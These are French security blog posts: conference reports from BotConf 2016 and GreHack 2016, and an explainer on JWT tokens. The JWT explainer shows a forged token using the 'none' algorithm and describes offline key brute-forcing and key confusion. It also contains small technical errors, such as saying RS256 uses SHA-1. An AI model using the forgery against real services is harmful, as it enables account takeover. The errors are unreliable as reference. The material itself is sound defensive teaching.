      L’un des avantages majeurs de Sysmon est qu’il fait partie de la suite SysInternals qui est gratuite et adaptée aux environnements de Microsoft. Son déploiement et son intégration sont alors aisés. Sysmon permet ainsi de récupérer les événements du journal d’événements Windows et, à l’aide de règles adaptées qu’a pu développer Tom (notamment pour limiter le nombre d’événements envoyés à Splunk afin de limiter le coût de licence), remonter des alertes en cas de comportement malveillant.
      La difficulté majeure lors de l’installation de ces outils est la création de règles adaptées pour isoler les événements malveillants des événements légitimes. Le poster du SANS dédié à ce sujet (https://www.sans.org/security-resources/posters/dfir/dfir-find-evil-35) peut être un bon point de départ pour parvenir à un résultat cohérent.
      Durant sa présentation, Tom a mis l’accent sur trois événements majeurs :
      1. La création de processus
      2. La création de connexions réseaux
      3. L’utilisation de la fonction CreateRemoteThread
      Il a ainsi pu présenter différents exemples et conseils permettant une détection efficace.

      How Does Dridex hide Friends

      Sébastien Larinier et Alexandra Toussaint de Sekoia, ont ensuite présenté les analyses qu’ils ont effectué pour l’un de leur client. Cette analyse, qu’ils ont pu détailler, s’est soldée par la conclusion que le système était infecté par Dridex. En continuant l’analyse, ils ont cependant pu découvrir d’autres éléments suspects, notamment l’installation d’un RAT (malware permettant un accès à distance) sur le système infecté.

      A Tete-a-Tete with RSA Bots

      Puis, ce fût au tour de Jens Friess et Laura Fuevara de Fraunhofer de présenter une approche automatique pour l’analyse de communications chiffrées. Pour cela, ils utilisent un faux serveurs C&C muni d’un certificat adapté ainsi qu’un serveur DNS pour pouvoir analyser les requêtes et en déduire la clé de déchiffrement.

      Le support de présentation est accessible à l’adresse suivante :

      Takedown client-server botnets the ISP-way

      Après une petite pause, ce fût au tour de Quang Tran de Viettel d’effectuer une présentation sur une méthode de lutte contre les botnets. Travaillant pour un fournisseur d’accès Internet vietnamien, Quang Tran a orienté ses recherches sur le monitoring du trafic dans l’objectif de découvrir les noms de domaine utilisés par les botnets, puis de les remplacer par de faux serveurs C&C envoyant des commandes d’arrêts aux malwares. Une remarque intéressante a cependant été levée lors de la séance de question/réponse, à savoir que cette méthode est illégale dans de nombreux pays.
      Le support de présentation est disponible à l’adresse suivante :

      Detecting the Behavioral Relationships of Malware Connections

      Une autre approche d’automatisation pour la détection des botnets, basée sur le machine learning, a été présentée par Sebastian Garcia, de l’université CTU à Prague. L’idée de Sebastian est que les IoC ne sont souvent pas suffisant pour détecter de nouveaux malwares, ou des versions évoluées de malwares connus. Pour pallier à cela, il utilise les connexions effectuées par un utilisateur pour créer un modèle différentiant une activité suspecte d’une activité normale.
      Une représentation sous forme de graphes peut alors être faite et, en fonction du nombre de nœuds, de liens, et surtout du pourcentage de liens répétitifs en fonction du nombre total, il parvient à isoler les comportements suspects.
      Exemple de graphe obtenu pour le ransomware Cerber
      Le support de présentation est accessible à l’adresse suivante :


      Analysis of Free Movies and Series Websites Guided by Users Search Terms

      La dernière présentation de cette seconde journée fût effectuée par Martin Clauß et Luis Alberto Benthin Sanguino de Fraunhofer, qui ont détaillés leurs recherches sur l’utilisation des sites proposant le téléchargement et le streaming de films et séries par les attaquants. L’idée de leurs recherches était de collecter les URLs visités lors de la navigation sur ces sites pour déterminer s’ils étaient malveillants. L’étude, qui a été faite sur des sites proposant du contenu en différentes langues, révèle que les sites proposant ce genre de contenu en allemand sont le plus rarement malveillants, alors que les sites espagnols le sont le plus souvent.
      Le support de présentation est disponible à l’adresse suivante :

      Nymain Origins, Revival and Reversing Tales

      Pour entamer la dernière journée de la conférence, Alberto Ortega, travaillant chez Fox-IT, a choisi de partager l’analyse qu’il a pu effectuer sur le malware Nymaim. Il a ainsi pu présenter les nombreuses techniques avancées, notamment d’obfuscation et anti-analyse, utilisées par ce malware découvert en 2013 et qui utilise des attaques de type Man-in-the-Browser pour effectuer des transactions bancaires illégitimes.

      Le détail de son analyse est accessible à l’adresse suivante :

      Rough Diamonds in Banking Botnets

      Travaillant également chez Fox-IT, Jose Miguel Esparza et Frank Ruiz ont continué en présentant leurs recherches sur les interfaces utilisées par les attaquants pour contrôler leurs malwares. Cette présentation étant classée TLP:RED, elle ne sera pas détaillée.

      ISFB, Still Live and Kicking

      Maciej Kotowicz du CERT polonais prit alors la parole pour présenter son analyse du malware ISFB. Ce malware découvert en 2014 est l’un des chevaux de Troie à visée financière les plus populaires de nos jours. Tout comme les autres malwares présentés, il utilise des techniques avancées qu’a pu présenter Macjej.

      Le support de la présentation est accessible à l’adresse suivante :

      Challenges for a cross-juridictional botnet takedown

      Margarita Louca a ensuite présenté l’un des plus gros défis rencontrés par Europol ces dernières années, et ce avec une approche juridique. Sa présentation est cependant confidentielle.

      Preventing File-Based Botnet Persistence and Growth

      Kurtis Armour a alors parlé de méthodes efficaces de protection d’un environnement. Les malwares récents utilisant de plus en plus de scripts (JavaScript, Powershell, etc.) en tant que charge malveillante, les détections basées sur les exécutables ne sont plus suffisantes. Kurtis a ainsi présenté différentes méthodes d’implémentation de listes blanches et de configuration permettant de se protéger contre ces nouvelles menaces.

      Quelle que soit sa forme, le code malveillant doit être exécuté par le système. L’objectif de Kurtis est donc d’empêcher cette exécution par les charges malveillantes. Une règle d’or pour cela étant de ne pas posséder de droits d’administration sur le système, limitant ainsi les possibilités du malware. Mais différents autres outils peuvent également être utilisés pour réduire la surface d’attaque. C’est par exemple le cas de LAPS de Microsoft qui permet la gestion des comptes administrateurs locaux sur un domaine Windows.

      Différentes méthodes permettant de limiter l’utilisation de Powershell ont également été abordées, l’utilisation des Local Security Policies ou Execution Policies n’étant pas la solution. Enfin, AppLocker est un autre outil qui peut permettre de bloquer ce type de comportement, comme par exemple l’utilisation de macros en empêchant l’exécution de dll depuis le dossier VBA.

      Le support de présentation est accessible à l’adresse suivante :

      Dridex Gone Phishing

      Pour terminer cette quatrième édition de la BotConf, Magal Baz et Gal Meiri d’IBM ont détaillé les méthodes de type Man-in-the-Browser utilisées par Dridex pour effectuer sa fraude bancaire. Pour cela, le malware intercepte en effet les appels aux fonctions d’entrée et de sorties du navigateur, afin de dupliquer les données, les envoyant à la fois au site légitime de la banque, mais également au serveur contrôlé par les attaquants. Dridex peut alors modifier les requêtes qui lui sont nécessaires, et en créer de nouvelles pour vider le compte en banque de l’utilisateur. Une manière simple de se protéger semble être de renommer l’exécutable du navigateur (firefox_renamed.exe à la place de firefox.exe par exemple), rendant ainsi inefficace le malware qui se base sur ces noms pour trouver les navigateurs à compromettre.

      BotConf 2017

      Eric Freysinet a conclu en annonçant la cinquième édition de la BotConf qui aura lieu à Montpellier du 5 au 8 décembre 2017.
      Nicolas DAUBRESSE

      Focus sur les jetons JWT

      Introduction

      JWT (JSON Web Token) définit dans la RFC 7519 est un standard permettant la transmission d’information entre deux parties via l’utilisation d’objets JSON. JWT repose sur les standards JSON Web Signature (JWS) et JSON Web Encryption (JWE) permettant d’assurer l’intégrité et / ou la confidentialité des données transmises. En pratique, les jetons JWT sont principalement utilisés afin de sécuriser l’accès à des Web services REST ou encore comme solution de SSO.

      Exemple d’utilisation des jetons JWT dans le cas d’un SSO :

      L’utilisation de jetons JWT permet la mise en place d’application « stateless» et ainsi supprimer la dépendance des sessions. Ainsi la mise en place de ce type de jeton est souvent vue comme une protection contre les attaques CSRF.

      Format

      Les jetons JWT sont constitués de différentes parties chacune séparée par le caractère point « . ». Bien que le nombre de parties puisse varier, les jetons JWT sont souvent constitués de trois parties : 

      Figure 3 : Format d’un jeton JWT
      • Entête : permet de déclarer que le format JWT est utilisé et de préciser l’algorithme (et potentiellement ses paramètres) utilisé pour la signature numérique et / ou le chiffrement.
      {
        "alg": "HS256",
        "typ": "JWT"
      }
      • Charge utile : représente l’objet à transmettre au format JSON. Il peut posséder différents attributs / affirmations dont certains sont définis par la RFC (iss, sub, iat, exp…) :
      {
        "sub": "1234567890",
        "name": "anonymous",
        "society": "Wavestone",
        "isadmin": false
      }
      • Signature : cette partie permet  au destinataire du jeton de pouvoir vérifier l’intégrité du message ainsi que l’identité de l’émetteur :
      35cbb7559f29a26e1220983cc059965eadd005d6deeba450a05b70bcfe52eae3
      La signature du message est calculée de la façon suivante :
      key           = 'laclesecrete'
      unsignedToken = encodeBase64(header) + '.' + encodeBase64(payload)
      signature     = HMAC-SHA256(key, unsignedToken)
      Ensuite, l’ensemble des parties sont encodés en base64 (en mode URL compatible et sans les caractères « = » de bourrage) et concaténée (séparées par le caractère « . ») pour être transmise dans les requêtes. Pour l’exemple précédent, le jeton JWT encodé est le suivant :
      eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9
      .
      eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6ImFub255bW91cyIsInNvY2lldHkiOiJXYXZlc3RvbmUiLCJlbWFpbCI6ImFub255bW91c0B3YXZlc3RvbmUuY29tIiwiaXNhZG1pbiI6ZmFsc2V9
      .
      Ncu3VZ8pom4SIJg8wFmWXq3QBdbe66RQoFtwvP5S6uM

      Cryptographie

      Afin d’assurer la sécurité (authentification, confidentialité, intégrité) des données transmises, le standard JWS s’appuie sur les standards JWS et JWE.

      Signature

      Le standard JWAdéfinit les algorithmes de signature numérique et MACs pouvant être utilisés, le standard JWT n’impose que le support des suivants :
      • None
      • HS256 : HMAC-SHA-256
      Cependant, les algorithmes asymétriques suivants sont supportés par les principales implémentations :
      • RS256: RSA (PKCS1-v1.5) et SHA-1
      • ES256: ECDSA (P-256) et SHA-256

      Chiffrement

      Le support du chiffrement pour les jetons JWT est optionnel, les algorithmes les plus souvent supportés sont les suivants :
      • RSA1_5 : RSA (PKCS1-v1_5) et AES
      • A128CBC-HS256 : AES-CBC et HMAC-SHA2

      Sécurité

      Algorithme « none »

      Alors que les algorithmes de chiffrement et de signature supportés sont majoritairement robustes, le support de la méthode « None » par les serveurs représente un réel risque. En effet, si cette méthode est considérée comme valide par le client JWT alors un attaquant est en capacité de forger ou d’altérer le contenu d’un message.
      Dans l’exemple ci-dessus, il faudrait alors modifier l’entête :
      {
        "alg": "none",
        "typ": "JWT"
      }
      Le jeton transmis serait le suivant :
      eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0
      .
      eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6ImFub255bW91cyIsInNvY2lldHkiOiJXYXZlc3RvbmUiLCJlbWFpbCI6ImFub255bW91c0B3YXZlc3RvbmUuY29tIiwiaXNhZG1pbiI6ZmFsc2V9
      .

      Attaque par recherche exhaustive

      L’ensemble de la sécurité des jetons JWT repose sur la confidentialité de la clé de chiffrement. Bien qu’aucune attaque efficace ne soit connue, un attaquant pourrait tenter de la récupérer par recherche exhaustive. Pour les modes HMAC, il est alors possible d’utiliser l’outil John jumbo afin d’effectuer ce type d’attaques en mode « hors connexion ».
      Afin de faciliter ce type d’attaque, nous avons développé un script prenant en entrée un jeton JWT et fournissant en sortie un format utilisable par John jumbo.

      Lors d’un test d’intrusion, nous avons également été surpris de pouvoir valider un jeton JWT obtenu auprès de l’application testée sur le site jwt.io :

      Il se trouve que le secret utilisé par l’application pour signer les jetons avait une valeur par défaut, à savoir « secret »…. Importance du choix de l’algorithme de signature / chiffrement
      Dans une architecture utilisant des jetons JWT, les clients ont besoins de connaitre :
      • La clé partagée : si un algorithme symétrique est utilisé (HMAC, AES…) ;
      • La clé publique : si un algorithme asymétrique est utilisé (RSA, ECDSA…).
      Par conséquent, en cas d’utilisation d’un algorithme symétrique, les clients (service providers…) sont aussi en capacité de signer / chiffrer un jeton ; en cas de compromission d’un client par un attaquant, ce dernier pourrait alors tenter de compromettre la totalité de l’infrastructure (via la construction de jetons spécifiques). Ainsi, il est préférable d’utiliser des algorithmes de chiffrement asymétriques s’il n’est pas nécessaire que les clients (service providers…) puissent signer des jetons.

      Vérification de la signature

      La vérification de la signature est une étape sensible et doit ainsi être correctement implémentée. En 2015, une vulnérabilitépermettant sur l’implémentation des mécanismes de vérification de signature affectant de nombreux composants (node.js, pyjwt, php-jwt...) a ainsi été signalée par Tim McLean. Sous certaines conditions, cette vulnérabilité permettait alors à un attaquant d’utiliser une clé publique RSA afin de signer un jeton via HMAC et ainsi de pouvoir générer des jetons acceptés par les applications clientes.

      Dangers du stockage local

      Certaines applications conservent les jetons localement afin de pouvoir les utiliser ultérieurement via l’utilisation de code côté client (JavaScript…) notamment pour les applications « stateless » dont la taille des jetons est importante. Alors que les cookies sont protégés par les attributs « secure » et « httpOnly », les jetons manipulés par le JavaScript ne possèdent quant à eux aucun attribut de sécurité et sont ainsi vulnérable à des attaques de type vol de session (pas d’équivalent de « httpOnly ») ou encore transmission des jetons sur des canaux non sécurisés (pas d’équivalent de l’attribut « secure »).

      Conclusion

      L’utilisation de jeton JWT permet d’augmenter la sécurité des Web services via la mise en place de certains mécanismes cryptographiques. Cependant, la sécurité ne pourra être assurée qu’à condition de définir les différents éléments en fonction de leurs cas d’usage. Il sera ainsi nécessaire de :
      • Utiliser des clés de taille suffisamment grande ;
      • Adapter les algorithmes cryptographiques utilisés au contexte de l’application (SSO, Web service unique…) ;
      • Mettre en place des mécanismes anti-rejeu (limiter la durée de vie des sessions…) ;
      • Prévoir des mécanismes d’invalidation de jeton ;
      • Conserver les clés de chiffrement de manière sécurisée.
      Ressources :
      Mahdi BRAIK

      Compte-rendu de GreHack 2016



      Introduction

      Le 18 novembre dernier se déroulait la 4ème édition de la conférence GreHack à Grenoble. Cet évènement, purement axée sur la sécurité, accueillait 300 participants pour une journée entière de conférences, suivie par son traditionnel CTF se déroulant la nuit et regroupant plus de 30 équipes. En complément, des workshops sur des outils divers et variés étaient organisés dans la soirée (radare2, miasm2, scapy, IVRE, ZAP, outils de crypto en boîte blanche, de SDR, et introduction au crochetage de serrures).

      KeyNote : Protecting Data on Smartphones & Tablets with Trusted Computing

      Stefan Saroiu, chercheur chez Microsoft Research, présente le travail de son équipe sur la protection des données sur plateformes mobiles.
      Le nombre de smartphones et tablettes est en constante expansion, et la sensibilité des applications s’y exécutant augmente également. Par exemple, des banques proposent aujourd’hui des applications permettant de prendre en photo des chèques destinés à être encaissés sur le compte de l’utilisateur de l’application. La question de la confiance dans l’authenticité et la confidentialité des données manipulées par les plateformes mobiles devient donc un fort enjeu. 
      Des solutions telles que les TPM (Trusted Platform Module) permettent de garantir un certain niveau de confiance dans l’intégrité d’une plateforme. Ces puces sont aujourd’hui présentes dans de nombreux postes de travail (fixe ou portable) et serveurs. Néanmoins, à cause de contraintes d’espace, de coût et d’autonomie, les smartphones actuels ne n’embarquent pas une telle technologie.
      Le projet fTPM (pour firmware TPM) de Microsoft Research vise implémenter les fonctions d’une puce TPM de manière logicielle, tout en garantissant un niveau de sécurité équivalent. Cette solution s’appuie sur des primitives de sécurité offertes par certains mécanismes introduits dans certaines architectures, telles que TrustZone dans les SoC ARM, ou SGX (Software Guard Extensions) dans les SoC Intel. Un travail poussé de conception a été également réalisé afin de garantir la réactivité du mécanisme, afin de le rendre transparent pour l’expérience utilisateur.
      Dans les dernières minutes de la présentation, Stefan Saroiu présente également le projet Sentry, visant à implémenter un chiffrement total de la mémoire d’un smartphone ou d’une tablette durant son exécution, afin de le protéger contre une attaque de type coldboot par exemple. Afin de réussir cette prouesse, les pages mémoires stockées dans la RAM ne sont déchiffrées qu’au moment de leur lecture par le CPU, et chiffrées de nouveau avant leur réécriture dans la RAM. Pour cela, AES a été implémenté de telle sorte que seuls les registres du CPU et le cache L2 soit utilisé comme mémoire temporaire lors de l’exécution de l’algorithme.

      BtleJuice : the Bluetooth Smart Man-In-The-Middle Framework

      Damien Cauquil, chercheur senior au CERT-UBIK (Digital Security), démontre dans sa présentation les faiblesses pouvant apparaitre sur objet connectés utilisant le protocole Bluetooth Low Energy.
      Le protocole Bluetooth Low Energy (ou Smart Bluetooth) et très populaire dans le monde de l’IoT, et permet les communications entre et avec des objets connectés. Il s’agit d’un sous ensemble du standard Bluetooth 4.0+, plus léger, permettant des implémentations peu consommatrices en énergie. Côté sécurité, le protocole intègre des mécanismes d’authentification et de chiffrement. 
      Lors de l’appairage de deux périphériques, ceux-ci s’échangent des informations concernant les interfaces dont ils disposent (clavier/pavé numérique permettant de composer un code, écran permettant de l’afficher, etc…). Une clé temporaire est alors dérivée du code PIN échangé, puis les périphériques décident d’une clé à utiliser afin de chiffrer le reste des échanges. Cependant, lorsque les interfaces des périphériques ne disposent pas d’interface permettant d’échanger un code PIN, le protocole fonctionne en mode dégradé (« Just Works »), et l’échange des clés de chiffrement n’est pas authentifié.
      Damien Cauquil présente alors qu’il est plus simple d’effectuer une attaque de type Man-In-The-Middle qu’une simple écoute du trafic, et expose BtleJuice (https://github.com/DigitalSecurity/btlejuice), un framework facilitant la mise en place de MitM sur les échanges Bluetooth Low Energy. Ecrit en Node.js, le framework dispose d’une interface Web permettant d’intercepter faciliter les communications, et permet également d’enregistrer des fonctions de callbacks écrites en Python, permettant de modifier des échanges à la volée.
      La présentation termine par diverses contremesures possibles pour ce type d’attaque, dont la principale est reste la mise en place de chiffrement et d’authentification au niveau applicatif. Cependant, cette mesure casse l’interopérabilité entre différents composants qui n’aurait pas été développés par les mêmes entités.

      Arybo : Make expression simplification great again

      Quarkslab  présente un nouvel outil permettant de simplifier (au sens : « rendre synthétique et simple à comprendre pour un humain ») des expressions arithmético-booléennes, dans le but principal d’aider le reverse-engineering de programmes obfusqués.
      Actuellement, il existe des logiciels de calcul formel permettant de simplifier aisément des expressions arithmétiques, c’est-à-dire composées d’opérateurs mathématiques classiques tels que l’addition, la multiplication, la soustraction, etc. Par exemple, l’expression « (x+7x)*3 » peut être simplifiée en « 24x ».
      De même, des logiciels existent également pour simplifier des expressions booléennes, c’est-à-dire composée d’opérateurs tels que « ET », « OU », « OU EXLCUSIF » (XOR), « NON ». Par exemple, l’expression « (a ET (NON b)) OU ((NON a) ET b » peut être réécrite en « a OU EXCLUSIF b ».
      Les expressions composées des deux familles d’opérateurs sont appelées « arithmético booléenne ». A l’heure actuelle, la plupart des outils permettant de simplifier ce type d’expression sont basés sur du pattern matching, c’est-à-dire en appliquant des formules de simplification connues sur des sous-parties de l’expression à simplifier. Cependant, ces outils ne peuvent simplifier des formules ne correspondant à aucun pattern. De fait, plusieurs programmes obfusqués (malware, DRMs, …) tirent parti de ce manque d’outillage pour transformer des opérations simples en des expressions arithmético-booléennes complexes équivalentes, afin de complexifier le reverse-engineering.
      Quarkslab propose un nouvel outil, nommé Arybo, permettant de manipuler ce type d’expression et de les simplifier efficacement. Leur approche est basée sur le bit-blasting, c’est-à-dire que toute variable est traitée comme un vecteur de bits, et les opérations arithmétiques classiques sont donc recodées en opérations booléennes sur chaque bit. De plus, les expressions sont manipulées dans une forme canonique, ce qui permet de comparer simplement deux expressions (elles sont équivalentes ssi elles s’écrivent de la même manière dans leur forme canonique).

      Interludes : {Scapy/Radare2} en 15 minutes

      Guillaume Valadon et Julien Voisin présentent, en 15 minutes chacun, les fonctionnalités principales des outils scapy et radare2
      Scapy est un outil permettant d’intercepter, disséquer, visualiser, modifier et rejouer des paquets réseaux via des commandes Python. Guillaume Valadon fait un tour des fonctionnalités de scapy en illustrant rapidement les applications possibles pour ce véritable couteau-suisse du réseau.
      Radare2 est un framework de reverse engineering permettant de désassembler, extraire le graphe de flot de contrôle, débugger et patcher des binaires exécutables (et autres formats). Malgré son interface peu attrayante, Julien Voisin nous montre comment utiliser radare2 via la présentation d’un cas « pratique », pour reverser un shellcode polymorphique à 3h du matin.

      Is Docker Secure ?

      Manideep Konakandla, chercheur à l’Université Carnegie Mellon, présente une partie de ses recherches sur la sécurité de Docker, et montre les faiblesses dans la mise à disposition des images Docker et du moteur d’exécution Docker en lui-même.
      En effet, Docker met à disposition une banque publique d’images, principalement maintenue par la communauté, de manière similaire à GitHub. Cependant, aucun processus de contrôle n’est en place afin de vérifier la légitimité du contenu des images hébergées. De plus, ces images ne sont pas mises à jour de manière suffisamment récurrente : lors de l’étude réalisée, 70% des images présentes sur la plateforme (et 30% des images officielles) étaient affectées par des vulnérabilités publiques.
      De plus, la configuration par défaut de Docker est relativement peu sécurisée. En effet, les logiciels lancés dans les conteneurs s’exécutent avec les privilèges root. De plus, des mesures prévenant le déni de service font défaut : aucune limite de création de processus n’est en place, et la mémoire utilisable par un conteneur n’est pas limitée. Enfin, aucun cloisonnement réseau n’est en place par défaut : les conteneurs peuvent communiquer entre eux, et utilise le même pont réseau, laissant la possibilité aux conteneurs d’intercepter le trafic réseau à destination des autres conteneurs.
      En conclusion, il est principalement recommandé de systématiquement appliquer un durcissement système sur les conteneurs utilisés, de n’utiliser que des images signées numériquement et de scanner régulièrement ses images à la recherche de composants vulnérables. Aussi, afin de limiter les risques en cas de compromission, il est une bonne pratique de regrouper des conteneurs par machine virtuelle en fonction de leur niveau de confiance. Enfin, des procédures de patch management, d’audit de sécurité, etc. doivent être appliquées au même titre que pour des systèmes classiques. 

      Gorille : Another approach to binary analysis

      Jean-Yves Marion, chercheur au LORIA (Laboratoire lorrain de recherche en informatique et ses applications) présente les résultats des recherches et outils développés par son laboratoire dans le domaine de l’analyse de binaire. 
      Lors de l’analyse d’un malware, un des objectifs possibles peut être la classification, c’est-à-dire la découverte de similitudes avec des binaires connus. Cela permet par exemple de détecter le caractère malveillant d’un nouveau malware développé à partir d’une souche connue, ou bien de construire des signature plus précises en se basant sur plusieurs variantes d’un même malware.
      Cependant, la plupart des codes malveillants utilisent des méthodes d’obfuscation de leur code, ou des techniques rendant complexe leur désassemblage à l’aide des outils les plus courants. Ces techniques permettent aux malwares d’éviter la détection par les solutions antivirales, et de rendre complexe leur analyse par un expert. Une technique commune d’obfuscation employée par les malwares consiste à stocker le code malveillant à exécuter sous forme chiffrée, et de le déchiffrer durant l’exécution du programme. Cette technique peut même être employée plusieurs fois pour un même programme de manière imbriquée (i.e. le code déchiffré permet de déchiffrer une autre partie code, etc…). Dès lors, il est assez évident qu’une simple analyse statique du binaire ne permet pas d’identifier le malware exécuté, ni d’en extraire un graphe de flot de contrôle (CFG).
      Dans le cadre du projet CoDisasm, un outil du même nom a été développé afin de répondre entres autres à cette problématique d’obfuscation. L’outil exécute dans une sandbox et instrumente le programme à analyser, afin d’en extraire des « vagues » (« waves» dans le texte d’origine), c’est-à-dire des états du programme correspondant à chaque étape de la désobfuscation. Une extraction du CFG est alors réalisée sur chacune des variantes du binaire obtenues, en utilisant les traces d’exécution enregistrées pour guider le désassembleur.
      Une fois le CFG du malware extrait, une abstraction de celui-ci est réalisée afin de pouvoir le comparer à celui d’autres binaires. En éliminant les parties CFG correspondant à des fonctionnalités inoffensives connues (ex. fonctions de la libc), l’outil Gorille est par exemple capable de détecter de manière entièrement automatisée que les vers StuxNet et Duqu partagent plus de 90% de similitude.

      Improving dm-crypt performance for AES XTS mode through extended request

      Levent Demir, doctorant à l’INRIA, présente les évolutions de travaux sur l’amélioration des performances de l’implémentation de l’algorithme AES-XTS.
      dm-crypt est un système de chiffrement de disques inclus dans le noyau Linux depuis sa version 2.6 qui embarque des modes de chiffrement avancés tel que le XTS. Ce dernier, principalement utilisé dans des outils de chiffrement de disque, est un mode complexe incluant des opérations de XOR, chiffrements AES-ECB et multiplications dans un corps fini. Il s’agit du plus récent algorithme recommandé par le NIST pour le chiffrement de disques.
      Etant un mode de chiffrement relativement récent, l’AES-XTS n’est pas supporté par les coprocesseurs cryptographiques présents dans la plupart des systèmes embarqués. C’est notamment le cas de la puce Atmel SAMA5D3, qui a servi de référence aux travaux menés. Le firmware de celle-ci a tout d’abord été modifié afin de supporter ce mode de chiffrement. 
      De plus, une analyse du code source de l’outil dm-crypt a permis la découverte de limitations liées à des valeurs écrites en dur dans le code source, celles-ci n’ayant historiquement jamais été modifiées pour des raisons de compatibilité descendante. Une réimplémentation d’une partie de l’outil dm-crypt couplée à une modification du firmware Atmel ont ainsi permis une amélioration d’un facteur deux des performances de chiffrement.

      Derniers mots

      La conférence GreHack a de nouveau fait mentir son slogan ("New is not always better”) en réalisant une édition de qualité, en progression constante depuis son existence. Les sujets traités par les conférences étaient globalement d’un haut niveau technique, et touchaient des domaines variés de la sécurité, aussi bien pratiques que théoriques. L’aspect international de la conférence était encore une fois présent, marqué notamment par l’anglophonie des présentations et la variété des origines des speakers et intervenants.
      Pour ma part, j’y ai passé une excellente journée, et serai ravi d’y retourner l’an prochain ! Merci au program committee de GreHack pour une sélection de conférences de qualité, à @commial et @serpilliere pour leur atelier épique sur Miasm (mélange très équilibré entre workshop technique et numéro de stand-up comedy), et enfin à l’association Securimag en charge l’organisation de l’évènement, et qui a réalisé un CTF de qualité (dans lequel il était notamment possible de se confronter la sécurité d’une … cabine téléphonique) !


      Maxime Meignan

      Viewing all 125 articles
      Browse latest View live